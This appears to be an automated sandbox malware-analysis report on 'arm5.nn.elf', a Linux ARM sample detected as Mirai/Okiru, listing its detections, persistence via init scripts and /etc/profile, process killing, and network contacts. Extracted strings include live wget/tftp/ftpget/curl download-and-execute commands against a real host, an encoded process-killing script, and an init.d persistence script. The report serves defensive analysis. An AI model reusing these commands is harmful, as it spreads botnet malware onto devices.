Linux Analysis Report
arm5.nn.elf

Overview

General Information

Sample name: arm5.nn.elf
Analysis ID: 1561638
MD5: 6f7c8edc92e193c007efd65513cab1ce
SHA1: 16f7b71f354d15a41e9378ff0816b9b142d6c964
SHA256: 641c2ce30bb9efc1545efea5c5bbdb3d06fa23e91f071a2239f2d787f42ce17c
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 80
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm5.nn.elf Avira: detected
Found strings indicative of a multi-platform dropper
Source: arm5.nn.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login193.143.1.70malloc[start_pid_hopping] Failed to clone: %s
Source: arm5.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:38960 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.23:44336 -> 193.143.1.70:38242
Sample listens on a socket
Source: /tmp/arm5.nn.elf (PID: 6218) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 7.67.63.164
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 38.174.164.240
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 7.67.63.164
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 135.62.197.213
Source: unknown TCP traffic detected without corresponding DNS query: 121.198.125.8
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 111.242.97.7
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 157.84.154.189
Source: unknown TCP traffic detected without corresponding DNS query: 116.206.184.207
Source: unknown TCP traffic detected without corresponding DNS query: 134.35.168.162
Source: unknown TCP traffic detected without corresponding DNS query: 38.174.164.240
Source: unknown TCP traffic detected without corresponding DNS query: 76.18.168.178
Source: unknown TCP traffic detected without corresponding DNS query: 135.62.197.213
Source: unknown TCP traffic detected without corresponding DNS query: 121.198.125.8
Source: arm5.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, arm5.nn.elf.38.dr, bootcmd.12.dr, custom.service.12.dr String found in binary or memory: http://193.143.1.70/
Source: arm5.nn.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: arm5.nn.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: arm5.nn.elf String found in binary or memory: http://193.143.1.70/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbi
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//ro
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/arm5.nn.elf (PID: 6233) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6233) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6233) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6233) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6233) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6233) SIGKILL sent: pid: 6266, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6233) SIGKILL sent: pid: 6284, result: successful Jump to behavior
Source: classification engine Classification label: mal80.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/arm5.nn.elf (PID: 6218) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/arm5.nn.elf (PID: 6218) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6300) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 6330) File: /etc/rc.d/S99arm5.nn.elf -> /etc/init.d/arm5.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/arm5.nn.elf (PID: 6218) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6297) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6314) File: /etc/init.d/arm5.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6472/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6471/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6430/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6474/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6473/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6432/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6476/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6431/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6475/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6470/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6447/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6469/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6446/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6468/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6449/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6448/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6429/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6461/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6460/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6463/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6462/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6465/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6046/cmdline Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6464/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6467/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6466/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6356) File opened: /proc/6459/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/arm5.nn.elf (PID: 6250) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6295) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6298) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6301) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm5.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm5.nn.elf'\n /tmp/arm5.nn.elf &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm5.nn.elf'\n killall arm5.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm5.nn.elf" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6309) Shell command executed: sh -c "chmod +x /etc/init.d/arm5.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6315) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6325) Shell command executed: sh -c "ln -s /etc/init.d/arm5.nn.elf /etc/rc.d/S99arm5.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6297) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 6314) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm5.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6324) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6263) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/arm5.nn.elf (PID: 6218) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6297) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6314) File: /etc/init.d/arm5.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/arm5.nn.elf (PID: 6218) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/arm5.nn.elf (PID: 6218) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6301) Writes shell script file to disk with an unusual file extension: /etc/init.d/arm5.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/arm5.nn.elf (PID: 6218) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 6301) File: /etc/init.d/arm5.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm5.nn.elf (PID: 6218) Queries kernel information via 'uname': Jump to behavior
Source: arm5.nn.elf, 6218.1.000055a99fd10000.000055a99fe5f000.rw-.sdmp, arm5.nn.elf, 6233.1.000055a99fd10000.000055a99fe5f000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm5.nn.elf, 6218.1.00007ffd30631000.00007ffd30652000.rw-.sdmp, arm5.nn.elf, 6233.1.00007ffd30631000.00007ffd30652000.rw-.sdmp Binary or memory string: ;Fx86_64/usr/bin/qemu-arm/tmp/arm5.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.nn.elf
Source: arm5.nn.elf, 6233.1.00007fa73803a000.00007fa73803e000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: arm5.nn.elf, 6218.1.00007ffd30631000.00007ffd30652000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.OMSXAo
Source: arm5.nn.elf, 6218.1.000055a99fd10000.000055a99fe5f000.rw-.sdmp, arm5.nn.elf, 6233.1.000055a99fd10000.000055a99fe5f000.rw-.sdmp Binary or memory string: /etc/qemu-binfmtP
Source: arm5.nn.elf, 6218.1.000055a99fd10000.000055a99fe5f000.rw-.sdmp, arm5.nn.elf, 6233.1.000055a99fd10000.000055a99fe5f000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm5.nn.elf, 6218.1.00007ffd30631000.00007ffd30652000.rw-.sdmp, arm5.nn.elf, 6233.1.00007ffd30631000.00007ffd30652000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm5.nn.elf, 6218.1.000055a99fd10000.000055a99fe5f000.rw-.sdmp, arm5.nn.elf, 6233.1.000055a99fd10000.000055a99fe5f000.rw-.sdmp Binary or memory string: /etc/qemu-binfmtP /proc/6171/exepolkit-gnQ
Source: arm5.nn.elf, 6218.1.00007ffd30631000.00007ffd30652000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm5.nn.elf, 6233.1.000055a99fd10000.000055a99fe5f000.rw-.sdmp Binary or memory string: U/arm/ro10 /proc/1890/exe0!/usr/bin/vmtoolsd1/usr/libexec/gvfs-mtp-volume-monitor!/proc/1888/exe0!/proc/759/exe!/proc/2078/exe/arm/pro!/proc/4448/exe/arm/proa
Source: arm5.nn.elf, 6233.1.00007fa73803a000.00007fa73803e000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd8
Source: arm5.nn.elf, 6218.1.00007ffd30631000.00007ffd30652000.rw-.sdmp Binary or memory string: /tmp/qemu-open.OMSXAo

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: arm5.nn.elf, type: SAMPLE
Source: Yara match File source: 6218.1.00007fa738017000.00007fa738032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6233.1.00007fa738017000.00007fa738032000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm5.nn.elf, type: SAMPLE
Source: Yara match File source: 6218.1.00007fa738017000.00007fa738032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6233.1.00007fa738017000.00007fa738032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm5.nn.elf PID: 6218, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm5.nn.elf PID: 6233, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: arm5.nn.elf, type: SAMPLE
Source: Yara match File source: 6218.1.00007fa738017000.00007fa738032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6233.1.00007fa738017000.00007fa738032000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm5.nn.elf, type: SAMPLE
Source: Yara match File source: 6218.1.00007fa738017000.00007fa738032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6233.1.00007fa738017000.00007fa738032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm5.nn.elf PID: 6218, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm5.nn.elf PID: 6233, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
212.121.224.49
 unknown Spain
16030 ALTECOMES false
215.212.223.170
 unknown United States
721 DNIC-ASBLK-00721-00726US false
129.124.228.16
 unknown United States
589 UNT-CAMPUS-ASUS false
80.203.20.241
 unknown Norway
15659 NEXTGENTELNEXTGENTELAutonomousSystemNO false
171.177.107.238
 unknown United States
9874 STARHUB-MOBILEStarHubLtdSG false
77.238.197.247
 unknown Bosnia and Herzegowina
42560 BA-TELEMACH-ASTelemachdooSarajevoBA false
34.59.120.244
 unknown United States
2686 ATGS-MMD-ASUS false
169.250.200.178
 unknown United States
47024 THE-METROHEALTH-SYSTEMUS false
213.132.40.53
 unknown United Arab Emirates
15802 DU-AS1AE false
54.197.209.137
 unknown United States
14618 AMAZON-AESUS false
148.249.87.237
 unknown Mexico
8151 UninetSAdeCVMX false
161.253.196.99
 unknown United States
11039 GWUUS false
143.226.80.195
 unknown United States
393296 AUGUSTANACOLLEGEROCKISLANDILUS false
177.248.66.233
 unknown Mexico
16960 CablevisionRedSAdeCVMX false
135.29.246.106
 unknown United States
54614 CIKTELECOM-CABLECA false
68.191.19.168
 unknown United States
20115 CHARTER-20115US false
53.166.67.150
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
147.68.231.150
 unknown United Kingdom
22192 SSHENETUS false
16.73.75.2
 unknown United States
unknown unknown false
61.19.47.167
 unknown Thailand
9931 CAT-APTheCommunicationAuthoityofThailandCATTH false
181.104.254.234
 unknown Argentina
6147 TelefonicadelPeruSAAPE false
82.217.99.98
 unknown Netherlands
33915 TNF-ASNL false
16.159.182.156
 unknown United States
unknown unknown false
189.150.86.64
 unknown Mexico
8151 UninetSAdeCVMX false
145.63.29.231
 unknown Netherlands
47863 SDSKNL false
74.220.154.155
 unknown United States
14127 ILANDUS false
143.244.171.42
 unknown United States
174 COGENT-174US false
32.198.11.90
 unknown United States
2686 ATGS-MMD-ASUS false
164.121.20.89
 unknown United States
10846 DEEREUS false
18.180.184.65
 unknown United States
16509 AMAZON-02US false
184.112.12.164
 unknown United States
7922 COMCAST-7922US false
212.96.118.214
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
86.168.6.132
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
142.68.132.209
 unknown Canada
855 CANET-ASN-4CA false
105.76.36.198
 unknown Morocco
36884 MAROCCONNECTMA false
26.69.62.247
 unknown United States
7922 COMCAST-7922US false
2.82.37.231
 unknown Portugal
3243 MEO-RESIDENCIALPT false
60.79.229.129
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
18.92.85.232
 unknown United States
3 MIT-GATEWAYSUS false
163.251.20.208
 unknown United States
27066 DNIC-ASBLK-27032-27159US false
162.121.178.85
 unknown United States
19708 UNASSIGNED false
152.18.53.32
 unknown United States
81 NCRENUS false
3.188.34.247
 unknown United States
16509 AMAZON-02US false
2.232.202.229
 unknown Italy
12874 FASTWEBIT false
174.124.113.223
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
110.53.169.116
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
53.113.143.168
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
181.199.231.99
 unknown Guyana
19863 GuyanaTelephoneTelegraphCoGY false
133.246.103.215
 unknown Japan 7687 D-CRUISENETTOYOTADIGITALCRUISEINCORPORATEDJP false
156.216.243.176
 unknown Egypt
8452 TE-ASTE-ASEG false
13.105.41.112
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
51.131.18.186
 unknown United States
2686 ATGS-MMD-ASUS false
76.114.251.116
 unknown United States
7922 COMCAST-7922US false
2.65.208.159
 unknown Sweden
44034 HI3GSE false
141.91.250.190
 unknown Germany
33846 DATAPORT-ASDE false
157.28.104.112
 unknown Italy
8968 BT-ITALIAIT false
157.73.179.68
 unknown Japan 131932 JEIS-NETJREastInformationSystemsCompanyJP false
193.143.1.70
 unknown unknown
57271 BITWEB-ASRU false
179.205.182.59
 unknown Brazil
26615 TIMSABR false
156.213.63.188
 unknown Egypt
8452 TE-ASTE-ASEG false
39.95.39.94
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
144.103.78.154
 unknown United States
721 DNIC-ASBLK-00721-00726US false
23.112.145.229
 unknown United States
7018 ATT-INTERNET4US false
154.228.169.14
 unknown Uganda
37075 ZAINUGASUG false
94.208.177.126
 unknown Netherlands
33915 TNF-ASNL false
218.107.130.213
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
43.37.0.28
 unknown Japan 4249 LILLY-ASUS false
90.134.249.81
 unknown Sweden
1257 TELE2EU false
153.42.84.12
 unknown United States
